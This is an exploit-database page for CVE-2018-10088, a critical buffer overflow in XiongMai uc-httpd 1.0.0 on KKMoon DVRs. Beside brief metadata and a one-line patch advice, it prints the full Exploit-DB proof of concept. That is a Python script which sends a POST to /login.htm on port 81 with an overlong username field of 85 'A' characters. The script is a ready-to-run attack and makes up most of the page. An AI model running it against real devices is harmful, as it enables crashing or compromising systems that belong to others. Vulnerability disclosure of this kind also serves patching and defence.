header-logo
Suggest Exploit
vendor:
uc-httpd
by:
Andrew Watson
9.8
CVSS
CRITICAL
Buffer Overflow
120
CWE
Product Name: uc-httpd
Affected Version From: 1.0.0
Affected Version To: 1.0.0
Patch Exists: YES
Related CWE: CVE-2018-10088
CPE: a:xiongmaitech:uc-httpd:1.0.0
Metasploit: N/A
Platforms Tested: KKMoon DVR
2018

XiongMai uc-httpd 1.0.0 – Buffer Overflow

XiongMai uc-httpd 1.0.0 is vulnerable to a buffer overflow attack when a maliciously crafted POST request is sent to the web server. This can be exploited to execute arbitrary code on the vulnerable system.

Mitigation:

Apply the latest security patches and updates to the system.
Source

Exploit-DB raw data:

# Exploit Title: XiongMai uc-httpd 1.0.0 - Buffer Overflow
# Date: 2018-06-08           
# Exploit Author: Andrew Watson
# Software Version: XiongMai uc-httpd 1.0.0
# Vendor Homepage: http://www.xiongmaitech.com/en/
# Tested on: KKMoon DVR running XiongMai uc-httpd 1.0.0 on TCP/81
# CVE ID: CVE-2018-10088
# DISCLAIMER: This proof of concept is provided for educational purposes only!
 
#!/usr/bin/python
 
import socket
import sys
 
payload="A" * 85
 
print "\n###############################################"
print "XiongMai uc-httpd 1.0.0 Buffer Overflow Exploit"
 
if len(sys.argv) < 2:
    print "\nUsage: " + sys.argv[0] + " <Host>\n"
    sys.exit()
 
print "\nTarget: " + sys.argv[1]
print "Sending exploit..."
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1],81))
s.send('POST /login.htm HTTP/1.1\r\n')
s.send('command=login&username=' + payload + '&password=PoC\r\n\r\n')
s.recv(1024)
s.close()
print "\nExploit complete!"